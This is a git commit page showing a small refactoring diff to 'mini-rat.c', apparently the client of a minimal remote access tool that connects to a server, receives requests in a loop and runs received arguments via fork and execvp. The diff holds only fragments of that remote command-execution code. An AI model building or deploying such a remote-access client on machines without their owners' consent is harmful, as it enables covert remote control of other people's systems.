diff options
author | Danny Holman <dholman@gymli.org> | 2023-09-13 11:24:05 -0500 |
---|---|---|
committer | Danny Holman <dholman@gymli.org> | 2023-09-13 11:24:05 -0500 |
commit | c5422c79e62f8a1417b60a3f22127396628efd10 (patch) | |
tree | 399cdf6ea901671cae1eca5fe609e9a088845ce5 /client | |
parent | 4f2b2b5b946c211f97b4bbfa5a273c9c7327d203 (diff) |
client: refactor to make more sense
Refactor several functions in the reference client such that they make
more sense when reading.
Signed-off-by: Danny Holman <dholman@gymli.org>
Diffstat (limited to 'client')
-rw-r--r-- | client/src/mini-rat.c | 10 |
1 files changed, 4 insertions, 6 deletions
diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c index cd521d4..53b91a5 100644 --- a/client/src/mini-rat.c +++ b/client/src/mini-rat.c @@ -21,6 +21,7 @@ #include <stdlib.h> #include <arpa/inet.h> #include <sys/socket.h> +#include <sys/wait.h> #include <fcntl.h> #include <poll.h> #include <unistd.h> @@ -38,11 +39,8 @@ int open_connection(const char *addr, int port) { return sock; } -void hostinfo(int socket) { - send(socket, "NOT IMPLEMENTED\r\n", 17, 0); -} - -void run_exec(int socket, const char **argv) { +void run_exec(char **argv) { + const char** cargv = (const char**)argv; pid_t pid = fork(); if (pid == 0) { execvp(argv[0], argv); @@ -88,7 +86,7 @@ int main(int argc, char* argv[]) { while (1) { if (recv(socket, buffer, 4096, 0) <= 0) break; - if (handle_request(socket, buffer) == 1) + if (handle_request(buffer) == 1) break; memset(buffer, 0, 4096); } |